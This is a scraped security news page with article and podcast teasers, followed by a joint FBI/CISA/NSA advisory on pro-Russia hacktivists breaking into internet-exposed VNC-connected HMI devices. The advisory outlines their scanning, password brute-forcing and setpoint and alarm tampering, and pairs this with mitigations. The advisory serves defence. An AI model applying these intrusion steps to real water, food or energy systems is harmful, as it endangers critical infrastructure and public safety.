Pedestrians crossing a street in Denver, Colorado, got rather more than they bargained for last weekend, when the audio signals at two crosswalks began broadcasting a political message alongside their usual walking instructions. Read more in my article on the Hot for Security blog.
A ransomware gang that claims to be a group of "investigative journalists"? Meet LeakNet - the group using fake CAPTCHA pages to trick employees into hacking themselves. Read more in my article on the Fortra blog.
In episode 459 of Smashing Security, we dive into a chillingly clever account takeover attempt targeting WordPress co-founder Matt Mullenweg - involving MFA fatigue, real Apple alerts, a convincing support call, and a phishing page that oh-so-nearly worked. If a famous techie could have this happen to you, can you be sure you're immune? Plus: would you donate your lifetime medical history to science if you were promised anonymity? We unpack serious concerns around UK Biobank, where “de-identified” data may not be as anonymous as you think — and how surprisingly little information it takes to reveal everything. And! Human-powered “AI”, and a punishment worse than prison: eight hours on the RSA expo floor... All this, and much more, in episode 459 of the "Smashing Security" podcast with cybersecurity veteran Graham Cluley, and special guest Paul Ducklin.
Drivers in the Russian city of Perm have been enjoying an unexpected bonus this week: free parking. Not because the city council suddenly decided to embrace generosity - but rather because hackers succeeded in knocking the city's payment system offline. Read more in my article on the Hot for Security blog.
If you're in the middle of applying for a planning or zoning permit, there is some unwelcome news: cyber-criminals have found a way to exploit the bureaucratic tedium of the process against you. Read more in my article on the Fortra blog.
Signal, the encrypted messaging app trusted by security-savvy users around the world, has confirmed that hackers have managed to takeover accounts - with government officials and journalists among those being targeted. Read more in my article on the Hot for Security blog.
A Wikipedia security engineer accidentally wakes a dormant JavaScript worm that hadn't stirred since 2024 - and within minutes, giant woodpecker images are plastered across the internet's favourite encyclopaedia. Meanwhile, a crypto contractor hired to help the US Marshals manage seized digital assets allegedly decides to help himself to $46 million of it - and then brags about it on a recorded Telegram call. Plus: Graham champions Asterix, Trisha discovers the fantasy novels of Robin Hobb, and someone called "Lick" ends up in the nick. All this, and much more, in episode 458 of the "Smashing Security" podcast with cybersecurity veteran Graham Cluley, and special guest Tricia Howard.
Elon Musk's social media site says it suspended 800 million accounts in a year for spam and manipulation - but with state-backed campaigns still flooding the platform, the real question is how many fake accounts remain. Read more in my article on the Hot for Security blog.
In a co-ordinated public-private operation between law enforcement agencies and cybersecurity industry partners, Tycoon 2FA - one of the world's most prolific phishing-as-a-service platforms - has been dismantled. Read more in my article on the Hot for Security blog.
When a top cybersecurity firm discovered it had a leak, you would expect the FBI to be called. Instead, the person put in charge of the investigation was the actual leaker... who promptly sent an innocent colleague into a career-ending ambush. In this episode, we unravel the jaw-dropping tale of a defence contractor caught selling zero-day exploits to a Russia-linked broker. Plus: are nation states quietly poisoning AI models to bend reality itself? We explore how “foreign information manipulation interference” could target not just social media users, but the large language models we increasingly trust for answers — and what that might mean for truth, trust, and the future of online influence. All this, and much more, in episode 457 of the "Smashing Security" podcast with cybersecurity veteran Graham Cluley, and special guest Carl Miller.
South Korea's National Tax Service (NTS) has found itself in the middle of a deeply embarrassing - and costly - blunder after accidentally handing thieves the master key to a seized cryptocurrency wallet. Read more in my article on the Hot for Security blog.
A new report claims that the cost of insider security incidents has surged 20% in two years, reaching an average of US $19.5 million per organization annually, with no sign that the alarming figure is flattening. Read more in my article on the Fortra blog.
There is a certain poetic justice in a cybersecurity-related story that has emerged from Moscow this week: A man has been accused of trying to extort money... from a notorious Russian ransomware gang. Read more in my article on the Hot for Security blog.
When the mysterious operator of an internet archiving-service decided to silence a curious Finnish blogger, they didn’t just send a stroppy email - they allegedly weaponised their own CAPTCHA page to launch a DDoS attack, threatened to invent an entirely new genre of AI porn, and tampered with parts of their own archive to smear the blogger's name. In this episode, we unravel how a website designed to preserve history may have trashed its own credibility - and how Wikipedia responded when trust went out the window. Plus a ransomware gang shoots itself in the foot with a classic case of buffoonery, accidentally corrupting the very keys victims would need to decrypt their data. When even the criminals can’t unlock your files, what happens next? All this, a surprisingly zen Pick of the Week, and a gloriously splenetic rant against web forms, on episode 456 of the award-winning "Smashing Security" podcast, with cybersecurity veteran Graham Cluley and special guest Paul Ducklin.
Amid a privacy backlash, a US $10,000 reward has been offered for anyone who can find a way to run Ring doorbell cameras locally, cutting off the flow of video data to Amazon's servers. Read more in my article on the Hot for Security blog.
Spain's police force has announced that it has arrested a 20-year-old man who they claim managed to book luxury hotel rooms worth up to €1,000 a night for just one euro cent. Read more in my article on the Hot for Security blog.
Could America turn off Europe's internet? That’s one of the questions that Graham and special guest James Ball will be exploring as they discuss tech sovereignty. Could Gmail, cloud services, and critical infrastructure really become geopolitical leverage? And is anyone actually building a Plan B? Plus we explore if Meta is quietly plotting to turn its smart glasses into face-recognising surveillance specs? With reports of internal memos suggesting they plan to launch controversial features while everyone’s distracted by political chaos, we ask: is this innovation really wanted by the public... or something far creepier? All of this, and much more, in episode 455 of the award-winning "Smashing Security" podcast with cybersecurity veteran Graham Cluley, joined this week by journalist and author James Ball.
Police in The Netherlands say they have arrested a 40-year-old man on suspicion of hacking... after police officers accidentally sent him a link granting him access to their own confidential documents Read more in my article on the Hot for Security blog.
Summary Note: This joint Cybersecurity Advisory is being published as an addition to the Cybersecurity and Infrastructure Security Agency (CISA) May 6, 2025, joint fact sheet Primary Mitigations to Reduce Cyber Threats to Operational Technology and European Cybercrime Centre’s (EC3) Operation Eastwood, in which CISA, Federal Bureau of Investigation (FBI), Department of Energy (DOE), Environmental Protection Agency (EPA), and EC3 shared information about cyber incidents affecting the operational technology (OT) and industrial control systems (ICS) of critical infrastructure entities in the United States and globally. FBI, CISA, National Security Agency (NSA), and the following partners—hereafter referred to as “the authoring organizations”—are releasing this joint advisory on the targeting of critical infrastructure by pro-Russia hacktivists: U.S. Department of Energy (DOE) U.S. Environmental Protection Agency (EPA) U.S. Department of Defense Cyber Crime Center (DC3) Europol European Cybercrime Centre (EC3) EUROJUST – European Union Agency for Criminal Justice Cooperation Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC) Canadian Centre for Cyber Security (Cyber Centre) Canadian Security Intelligence Service (CSIS) Czech Republic Military Intelligence (VZ) Czech Republic National Cyber and Information Security Agency (NÚKIB) Czech Republic National Centre Against Terrorism, Extremism, and Cyber Crime (NCTEKK) French National Cybercrime Unit – Gendarmerie Nationale (UNC) French National Jurisdiction for the Fight Against Organized Crime (JUNALCO) German Federal Office for Information Security (BSI) Italian State Police (PS) Latvian State Police (VP) Lithuanian Criminal Police Bureau (LKPB) New Zealand National Cyber Security Centre (NCSC-NZ) Romanian National Police (PR) Spanish Civil Guard (GC) Spanish National Police (CNP) Swedish Polisen (SC3) United Kingdom National Cyber Security Centre (NCSC-UK) The authoring organizations assess pro-Russia hacktivist groups are conducting less sophisticated, lower-impact attacks against critical infrastructure entities, compared to advanced persistent threat (APT) groups. These attacks use minimally secured, internet-facing virtual network computing (VNC) connections to infiltrate (or gain access to) OT control devices within critical infrastructure systems. Pro-Russia hacktivist groups—Cyber Army of Russia Reborn (CARR), Z-Pentest, NoName057(16), Sector16, and affiliated groups—are capitalizing on the widespread prevalence of accessible VNC devices to execute attacks against critical infrastructure entities, resulting in varying degrees of impact, including physical damage. Targeted sectors include Water and Wastewater Systems, Food and Agriculture, and Energy. The authoring organizations encourage critical infrastructure organizations to implement the recommendations in the Mitigations section of this advisory to reduce the likelihood and impact of pro-Russia hacktivist-related incidents. For additional information on Russian state-sponsored malicious cyber activity, see CISA’s Russia Threat Overview and Advisories webpage. Download the PDF version of this report: Pro-Russia Hacktivists Conduct Opportunistic Attacks Against US and Global Critical Infrastructure (PDF, 1.53 MB ) Background and Development of Pro-Russia Hacktivist Groups Over the past several years, the authoring organizations have observed pro-Russia hacktivist groups conducting cyber operations against numerous organizations and critical infrastructure sectors worldwide. The escalation of the Russia-Ukraine conflict in 2022 significantly increased the number of these pro-Russia groups. Consisting of individuals who support Russia’s agenda but lack direct governmental ties, most of these groups target Ukrainian and allied infrastructure. However, among the increasing number of groups, some appear to have associations with the Russian state through direct or indirect support. Cyber Army of Russia Reborn The authoring organizations assess that the Russian General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455—tracked in the cybersecurity community under several names (see Appendix B: Additional Designators Used for Cited Groups)—is likely responsible for supporting the creation of CARR —also known as “The People’s Cyber Army of Russia”—in late February or early March of 2022. Actors suspected to be from GRU unit 74455 likely funded the tools CARR threat actors used to conduct distributed denial-of-service (DDoS) attacks through at least September 2024. In April 2022, the group began using a new Telegram channel featuring the name “CyberArmyofRussia_Reborn” to organize and plan group actions. The channel creators recruited actors to use CARR as an unattributable platform for conducting cyber activities beneath the level of an APT, aimed at deterring anti-Russia rhetoric. CARR threat actors presented themselves as a group of pro-Russia hacktivists supporting Russia’s stance on the Ukrainian conflict, and they soon began claiming responsibility for DDoS attacks against the U.S. and Europe for supporting Ukraine. CARR documented these actions through embellished images and videos shared on their social media channels, promoting Russian ideology, disseminating talking points, and publicizing leaked information from hacks attributed to Russian state threat actors. In late 2023, CARR expanded their operations to include attacks on industrial control systems (ICS), claiming an intrusion against a European wastewater treatment facility in October 2023. In November 2023, CARR targeted human-machine interface (HMI) devices, claiming intrusions at two U.S. dairy farms. The authoring organizations assess that by late September 2024, CARR channel administrators became dissatisfied with the level of support and funding provided by the GRU. This dissatisfaction led CARR administrators and an administrator from another hacktivist group, NoName057(16), to create the Z-Pentest group, employing the same tactics, techniques, and procedures (TTPs) as CARR but separate from GRU involvement. NoName057(16) The authoring organizations assess that the Center for the Study and Network Monitoring of the Youth Environment (CISM), established on behalf of the Kremlin, created NoName057(16) as a covert project within the organization. Senior executives and employees within CISM developed and customized the NoName057(16) proprietary DDoS tool DDoSia, paid for the group’s network infrastructure, served as administrators on NoName057(16) Telegram channels, and selected DDoS targets. Active since March 2022, NoName057(16) has conducted frequent DDoS attacks against government and private sector entities in North Atlantic Treaty Organization (NATO) member states and other European countries perceived as hostile to Russian geopolitical interests. The group operates primarily through Telegram channels and used GitHub, alongside various websites and repositories, to host DDoSia and share materials and TTPs with their followers. In 2024, NoName057(16) began collaborating closely with other pro-Russia hacktivist groups, operating a joint chat with CARR by mid-2024. In July 2024, NoName057(16) jointly claimed responsibility with CARR for an alleged intrusion against OT assets in the U.S. The high degree of cooperation with CARR likely contributed to the formation of Z-Pentest, which is composed of actors and administrators from both teams, in September 2024. Z-Pentest Established in September 2024, Z-Pentest is composed of members from CARR and NoName057(16). The group specializes in OT intrusion operations targeting globally dispersed critical infrastructure entities. Additionally, the group uses “hack and leak” operations and defacement attacks to draw attention to their pro-Russia messaging. Unlike other pro-Russia hacktivist groups, Z-Pentest largely avoids DDoS activities, claiming OT intrusions as attempts to garner more attention from the media. Shortly after Z-Pentest’s inception, the group announced alliances with CARR and NoName057(16), possibly to leverage the other groups’ subscribers to grow the new channel. In March 2025, Z-Pentest posted evidence claiming OT device intrusions to their channel using a NoName057(16) cyberattack campaign hashtag. Similarly, in April 2025, Z-Pentest shared a video purporting defacement of an HMI by changing system names to NoName057(16) and CARR references. Z-Pentest continues to create new alliances with other groups, like Sector16, to continue growing their subscriber base and incidentally propagate TTPs with new partners. Sector16 Formed in January 2025, Sector16 is a novice pro-Russia hacktivist group that emerged through collaboration with Z-Pentest. Sector16 actively maintains an online presence, including a public Telegram channel where they share videos, statements, and claims of compromising U.S. energy infrastructure. These communications often align with pro-Russia narratives and reflect their self-proclaimed support for Russian geopolitical objectives. Members of Sector16 may have received indirect support from the Russian government in exchange for conducting specific cyber operations that further Russian strategic goals. This aligns with broader Russian cyber strategies that involve leveraging non-state threat actors for certain cyber activities, adding a layer of deniability. Technical Details Note: This advisory uses the MITRE ATT&CK® Matrix for Enterprise framework, version 18. See the MITRE ATT&CK Tactics and Techniques section of this advisory for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques. TTP Overview Pro-Russia hacktivist groups employ easily disseminated and replicated TTPs across various entities, increasing the likelihood of widespread adoption and escalating the frequency of intrusions. These groups have limited capabilities, frequently misunderstanding the processes they aim to disrupt. Their apparent low level of technical knowledge results in haphazard attacks where actors intend to cause physical damage but cannot accurately anticipate actual impact. Despite these limitations, the authoring organizations have observed these groups willfully cause actual harm to vulnerable critical infrastructure. Pro-Russia hacktivist groups use the TTPs in this Cybersecurity Advisory to target virtual network computing (VNC)-connected HMI devices. These groups are primarily seeking notoriety with their actions. While they have caused damage in some instances, they regularly make false or exaggerated claims about their attacks on critical infrastructure to garner more attention. They frequently misrepresent their capabilities and the impacts of their actions, portraying minor incursions as significant breaches, but such incursions can still lead to lost time and resources for operators remediating systems. Additionally, pro-Russia hacktivists use an opportunistic targeting methodology. They leverage superficial criteria, such as victim availability and existing vulnerabilities, rather than focusing on strategically significant entities. Their lack of strategic focus can lead to a broad array of targets, ranging from water treatment facilities to oil well systems. Pro-Russia hacktivists have demonstrated a pattern of frequently taking advantage of the widespread availability of vulnerable VNC connections. While system owners typically use VNC connections for legitimate remote system access functions, threat actors can maliciously use these connections to broadly target numerous platforms and services. Consequently, these groups can indiscriminately compromise critical infrastructure entities, including those in the Water and Wastewater, Food and Agriculture, and Energy Sectors. Pro-Russia hacktivist groups have successfully targeted supervisory control and data acquisition (SCADA) networks using basic methods, and in some cases, performed simultaneous DDoS attacks against targeted networks to facilitate SCADA intrusions. As recently as April 2025, threat actors used the following unsophisticated TTPs to access networks and conduct SCADA intrusions: Scan for vulnerable devices on the internet [T0883] with open VNC ports [T1595.002]. Initiate temporary virtual private server (VPS) [T1583.003] to execute password brute force software. Use VNC software to access hosts [T1021.005]. Confirm connection to the vulnerable device [T0886]. Brute force the password, if required [T1110.003]. Gain access to HMI devices [T0883], typically with default [T0812], weak, or no passwords [T0859]. Log the confirmed vulnerable device IP address, port, and password. Using the HMI graphical interface [T0823], capture screen recordings or intermittent screenshots while conducting the following actions, intending to affect productivity and cause additional costs [T0828]: Modify usernames/passwords [T0892]; Modify parameters [T0836]; Modify device name [T0892]; Modify instrument settings [T0831]; Disable alarms [T0878]; Create loss of view (a technique that mandates local hands-on operator intervention) [T0829]; and/or Device restart or shutdown [T0816]. Disconnect from the device, ending the VNC connection. Research the compromised device company after the intrusion [T1591]. Propagation To reach a wider audience, pro-Russia hacktivist groups work together, amplify each other’s posts, create additional groups to amplify their own posts, and likely share TTPs. For example, Z-Pentest jointly claimed intrusion of a U.S. system with Sector16. Sector16 later began posting additional intrusions for which the group claimed sole responsibility. It is likely that these and similar groups will continue to iterate and share these methods to disrupt critical infrastructure organizations. Reconnaissance and Initial Access The threat actors’ intrusion methodology is relatively unsophisticated, inexpensive to execute, and easy to replicate. These pro-Russia hacktivist groups abuse popular internet-scraping tools, such as Nmap or OPENVAS, to search for visible VNC services and use brute force password spraying tools to access devices via known default or otherwise weak credentials. Threat actors typically search for these services on the default port 5900 or other nearby ports (5901-5910). Their goal is to gain remote access to HMI devices connected to live control networks. Once threat actors obtain access, they manipulate available settings from the graphical user interface (GUI) on the HMI devices, such as arbitrary physical parameter and setpoint changes, or conduct defacement activities. Because pro-Russia hacktivist groups seem to lack sector-specific expertise or cyber-physical engineering knowledge, they currently cannot reliably estimate the true impact of their actions. Regardless of outcome, pro-Russia hacktivist groups often post images and screen recordings to their social media platforms, boasting the compromises and exaggerating impacts to garner attention from their peers and the media. Impact While pro-Russia hacktivist groups currently demonstrate limited ability to consistently cause significant impact, there is a risk that their continued attacks will result in further harm or grievous physical consequences. Attacks have not yet caused injury; however, the attacks against occupied factories and community facilities demonstrate a lack of consideration for human safety. Victim organizations reported that the most common operational impact caused by these threat actors is a temporary loss of view, necessitating manual intervention to manage processes. However, any modifications to programmatic and systematic procedures can result in damage or disruption, including substantial labor costs from hiring a programmable logic controller programmer to restore operations, costs associated with operational downtime, and potential costs for network remediation. MITRE ATT&CK Tactics and Techniques See Table 1 to Table 10 for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool. Table 1. Reconnaissance Technique Title ID Use Gather Victim Organization Information T1591 Threat actors use information available on the internet to determine what systems they believe they have compromised and post the information on their social media. This methodology frequently leads to the threat actors misidentifying their claimed victims. Active Scanning: Vulnerability Scanning T1595.002 Threat actors use open source tools to look for IP addresses in target countries with visible VNC services on common ports. Table 2. Resource Development Technique Title ID Use Acquire Infrastructure: Virtual Private Server T1583.003 Threat actors use virtual infrastructure to obfuscate identifiers. Table 3. Initial Access Technique Title ID Use Internet Accessible Device T0883 Threat actors gain access through less secure HMI devices exposed to the internet. Table 4. Persistence Technique Title ID Use Valid Accounts T0859 Threat actors use password guessing tools to access legitimate accounts on the HMI devices. Table 5. Credential Access Technique Title ID Use Brute Force: Password Spraying T1110.003 Threat actors use tools to rapidly guess common or simple passwords. Table 6. Lateral Movement Technique Title ID Use Default Credentials T0812 Threat actors seek and build libraries of known default passwords for control devices to access legitimate user accounts. Remote Services T0886 Threat actors leverage VNC services to access system HMI devices. Remote Services: VNC T1021.005 Threat actors hunt VNC-enabled devices visible on the internet and connect with remote viewer software. Table 7. Execution Technique Title ID Use Graphical User Interface T0823 Threat actors interact with HMI devices via GUIs, attempting to modify control devices. Table 8. Inhibit Response Function Technique Title ID Use Device Restart/Shutdown T0816 While threat actors claim to turn off HMIs, it is possible that operators (not the threat actors) turn the devices off during incident response. Alarm Suppression T0878 Threat actors use HMI interfaces to clear alarms caused by their activity and alarms already present on the system at the time of their intrusion. Change Credential T0892 Threat actors change the usernames and passwords of HMI devices in operator lockout attempts, usually resulting in a loss of view and operators switching to manual operations. Table 9. Impair Process Control Technique Title ID Use Modify Parameter T0836 Threat actors attempt to change upper and lower limits of operational devices as available from the HMI. Unauthorized Command Message T0855 Threat actors attempt to send unauthorized command messages to instruct control system assets to perform actions outside of their intended functionality, causing possible impact. Table 10. Impact Technique Title ID Use Loss of Productivity and Revenue T0828 Threat actors purposefully attempt to impact productivity and create additional costs for the affected entities. Loss of View T0829 Threat actors change credentials on HMI devices, preventing operators from modifying processes remotely. Manipulation of Control T0831 Threat actors change setpoints in processes, impacting the efficiency of operations for those specific processes. Incident Response If organizations find exposed systems with weak or default passwords, they should assume threat actors compromised the system and begin the following incident response protocols: Determine which hosts were compromised and isolate them by quarantining or taking them offline. Initiate threat hunting activities to scope the intrusion. Collect and review artifacts, such as running processes/services, unusual authentications, and recent network connections. Reimage compromised hosts. Provision new account credentials. Report the compromise to CISA, FBI, and/or NSA. See the Contact Information section of this advisory. Harden the network to prevent additional malicious activity. See the Mitigations section of this advisory for guidance. Mitigations OT Asset Owners and Operators The authoring organizations recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture based on the threat actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s CPGs webpage for more information on the CPGs, including additional recommended baseline protections. Reduce exposure of OT assets to the public-facing internet. When connected to the internet, OT devices are easy targets for malicious cyber threat actors. Many devices can be found by searching for open ports on public IP ranges with search engine tools to target victims with OT components [CPG 3.S]. Asset owners should use attack surface management services and web-based search platforms to scan the internet. This mitigation can help identify if there are VNC systems exposed within the IP ranges they own, especially for connections set up by third parties. Note: For more information on attack surface management, see CISA’s Internet Exposure Reduction Guidance, CISA’s Cyber Hygiene Services for U.S. critical infrastructure, and NSA’s Attack Surface Management for the U.S. Defense Industrial Base. Implement network segmentation between IT and OT networks. Segmenting critical systems and introducing a demilitarized zone (DMZ) for passing control data to enterprise logistics reduces the potential impact of cyber threats and the risk of disruptions to essential OT operations [CPG 3.I]. Consider implementing a firewall and/or virtual private network if exposure to the internet is necessary for controlling access to devices. Consider disabling public exposure by default and implementing time-limited remote access to reduce the amount of time systems are exposed. Restrict and monitor both inbound and outbound traffic at OT perimeter firewalls. Configure OT perimeter firewalls to enforce a default-deny policy for all traffic. Asset owners should explicitly permit authorized destinations and protocols based on operational requirements. Implement strict egress filtering to prevent unauthorized data exfiltration or command-and-control callbacks. Regularly audit firewall rulesets and monitor outbound traffic patterns for anomalies indicative of threat actor activity, such as beaconing or unexpected protocol usage. Adopt mature asset management processes, including mapping data flows and access points. Generating a complete picture of both OT and IT assets provides visibility to operators and management, allowing organizations to monitor and assess deviations for criticality [CPG 2.A]. Keep remote access services updated with the latest version available and ensure all systems and software are up to date with patches and necessary security updates. Keep VNC systems updated with the latest version available. Refer to the joint Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators to help with reducing cybersecurity risk by identifying which assets within their environment should be secured and protected. Ensure OT assets use robust authentication procedures. Many devices lack robust authentication and authorization. Devices with weak authentication are vulnerable targets to threat actors using credential theft techniques. Implement MFA where possible. Where MFA is not feasible, use strong, unique passwords. Apply password standards for operator-accessible services on underlying OT assets, as well as network devices protecting those services. This is especially important for services that require internet accessibility [CPG 3.A] [CPG 3.B] [CPG 3.C] [CPG 3.F]. Establish an allowlist that permits only authorized device IP addresses and/or media access control addresses. The allowlist can be refined to operator working hours to further obstruct malicious threat actor activity; organizations are encouraged to establish monitoring and alerting for access attempts not meeting these criteria [CPG 3.E]. Disable any unused authentication methods, logic, or features, such as default authentication keys and default passwords. Block all unused high ephemeral ports and monitor for attempted connections using standard protocols on non-standard ports [CPG 3.R]. Authenticate all access to field controllers before authorizing access to, or modification of, a device’s state, logic, program, or filesystems. Enable control system security features that can separate and audit view and control functions. Limiting remotely accessible or default user accounts to “view-only” removes the potential for impact without exploiting a vulnerability [CPG 3.G]. Implement and practice business recovery/disaster recovery plans. Plans should also take into consideration redundancy, fail-safe mechanisms, islanding capabilities, backup restoration, and manual operation. Include scenarios that necessitate switching to manual operations. Maintaining the capability of an organization to revert to manual controls to quickly restore operations is vital in the immediate aftermath of a cyber incident [CPG 6.A]. Create backups of the engineering logic, configurations, and firmware of HMIs to enable fast recovery. Organizations should routinely test backups and standby systems to ensure safe manual operations in the event of an incident [CPG 3.O]. Collect and monitor the traffic of OT assets and networking devices. This includes unusual logins or unexpected protocols communicating over the internet, and functions of ICS management protocols that change an asset’s operating mode or modify programs. Review configurations for setpoint ranges or tag values to stay within safe ranges and establish alerting for deviations. Take a proactive approach in the procurement process by following the guidance outlined in the joint guide Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products. OT Device Manufacturers Although critical infrastructure organizations can take steps to mitigate risks, it is ultimately the responsibility of OT device manufacturers to build products that are secure by design. The authoring organizations urge device manufacturers to take ownership of the security outcomes of their customers in line with the joint guide Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software. Eliminate default credentials and require strong passwords. The use of default credentials is a top weakness threat actors exploit to gain access to systems. Mandate MFA for privileged users. Changes to engineering logic or configurations are safety-impacting events in critical infrastructure. MFA should be available for safety critical components at no additional cost. Practice secure by default principles. OT components were initially designed without public internet connectivity in mind. When internet connection becomes necessary, implementing additional security measures is essential to safeguard these systems. Manufacturers should recognize insecure states and promptly inform users so they can make informed risk decisions. Include logging at no additional charge. Change and access control logs allow operators to track safety-impacting events in their critical infrastructure. These logs should be available for no cost and use open standard logging formats. Publish Software Bill of Materials (SBOMs). Vulnerabilities in underlying software libraries can affect a wide range of devices. Without an SBOM, it is nearly impossible for a critical infrastructure system owner to measure and mitigate the impact of a vulnerability on their existing systems. See CISA’s SBOM webpage for more information. Additionally, see CISA’s Secure by Design Alert on how software manufacturers can shield web management interfaces from malicious cyber activity. By using secure by design tactics, software manufacturers can make their product lines secure “out of the box” without requiring customers to spend additional resources making configuration changes, purchasing tiered security software and logs, monitoring, and making routine updates. For more information on secure by design, see CISA’s Secure by Design webpage. Validate Security Controls In addition to applying mitigations, the authoring organizations recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK Matrix for Enterprise framework in this advisory. The authoring organizations recommend testing your existing security controls inventory to assess how it performs against the ATT&CK techniques described in this advisory. To start: Select an ATT&CK technique described in this advisory (see Table 1 to Table 10). Align your security technologies against the technique. Test your technologies against the technique. Analyze your detection and prevention technologies’ performance. Repeat the process for all security technologies to obtain a set of comprehensive performance data. Tune your security program, including people, processes, and technologies, based on the data generated by this process. The authoring organizations recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory. Resources Entities requiring additional support for implementing any of the mitigations in this advisory should contact their regional CISA Cybersecurity Advisor for assistance. Key resources organizations should reference include: CISA, EPA, NSA, FBI, ASD’s ACSC, Cyber Centre, BSI, NCSC-NL, and NCSC-NZ’s Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators offers best practices to assist organizations in identifying and prioritizing which assets should be secured and protected. CISA, FBI, NSA, EPA, DOE, USDA, FDA, MS-ISAC, Cyber Centre, and NCSC-UK’s guidance on Defending OT Operations Against Ongoing Pro-Russia Hacktivist Activity that can help organizations protect OT systems from pro-Russia hacktivist activity. NSA and CISA’s guidance on Control System Defense: Know the Opponent helps organizations defend OT and ICS assets against malicious cyber activity. CISA and EPA’s resource page on Water and Wastewater Cybersecurity to help organizations reduce risks posed by malicious cyber actors targeting water and wastewater systems. For additional guidance, see CISA, EPA, and FBI’s fact sheet on Top Cyber Actions for Securing Water Systems. The Food and Ag-ISAC’s best practices on Food and Ag Cybersecurity: A Guide for Small & Medium Enterprises provides recommendations to help mitigate against cyber threats. DOE and National Association of Regulatory Utility Commissioners Cybersecurity Baselines for Electric Distribution Systems and Distributed Energy (DER) webpage provides resources for state public utility commissions and utilities, as well as DER operators and aggregators to help mitigate cybersecurity risks. Additional resources that apply to this advisory include: EPA’s Cybersecurity for the Water Sector resource page provides organizations with guidance on implementing basic cyber hygiene practices. CISA’s Cross-Sector Cybersecurity Performance Goals enables critical infrastructure organizations to reduce the likelihood and impact of known risks and adversary techniques. CISA’s Require Strong Passwords webpage supports small and medium-sized businesses mitigating against malicious cyber activity that targets weak passwords. CISA, NSA, FBI, EPA, TSA, and international partners’ guidance Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products. DOE’s guidance on Cyber-Informed Engineering recommends considering cyber-enabled risks during the conception, design, and development phases when manufacturing physical systems. CISA’s Cyber Hygiene Services help enable critical infrastructure organizations to reduce their exposure to threats by taking a proactive approach to monitoring and mitigating attack vectors. CISA, NSA, FBI, and international partners’ guidance on Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software urges software manufacturers to provide customers with products that are safer and more secure. See more information in these Secure by Design Alerts: How Manufacturers Can Protect Customers by Eliminating Default Passwords and How Software Manufacturers Can Shield Web Management Interfaces From Malicious Cyber Activity. Contact Information U.S. organizations are encouraged to report suspicious or criminal activity related to information in this advisory to CISA, FBI, and/or NSA: Contact CISA via CISA’s 24/7 Operations Center at contact@cisa.dhs.gov or 1-844-Say-CISA (1-844-729-2472) or your local FBI field office. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. For NSA cybersecurity guidance inquiries, contact CybersecurityReports@nsa.gov. Australian organizations: Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. Canadian organizations: Report incidents by emailing Cyber Centre at contact@cyber.gc.ca. New Zealand organizations: Report cyber security incidents to incidents@ncsc.govt.nz or call 04 498 7654. United Kingdom organizations: Report a significant cyber security incident: report.ncsc.gov.uk (monitored 24 hours) or, for urgent assistance, call 03000 200 973. Disclaimer The information in this report is being provided “as is” for informational purposes only. The authoring organizations do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI and co-sealers. Acknowledgements Schneider Electric, Nozomi Networks, Eversource Energy, Electricity Information Sharing and Analysis Center, Chevron, BP, and Dragos contributed to this advisory. Version History December 09, 2025: Initial version. Appendix A: Targeting Methodologies for Pro-Russia Hacktivist Groups For further information on targeting methodologies for pro-Russia hacktivist groups, see: CISA’s alert Unsophisticated Cyber Threat Actor(s) Targeting Operational Technology; The joint fact sheet Primary Mitigations to Reduce Cyber Threats to Operational Technology; and CISA’s Russia Cyber Threat webpage. Appendix B: Additional Designators Used for Cited Groups The cybersecurity industry and cyber actor groups often use various names to reference actor groups. While not exhaustive, the following are the most notable names used within the cybersecurity community to reference the groups in this advisory. Note: Cybersecurity organizations have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the authoring organizations’ understanding for all activity related to these groupings. GRU military unit 74455 Sandworm Team Voodoo Bear Seashell Blizzard APT44 Cyber Army of Russia Reborn (CARR) CyberArmy of Russia Народная CyberАрмия (НКА) People’s CyberArmy of Russia (PCA) Russian CyberArmy Team (RCAT) NoName057(16) NoName057(16) Spain NoName057(16) Italy NoName057(16) France Z-Pentest Z-Pentest Beograd Z-Pentest Alliance Z-Alliance
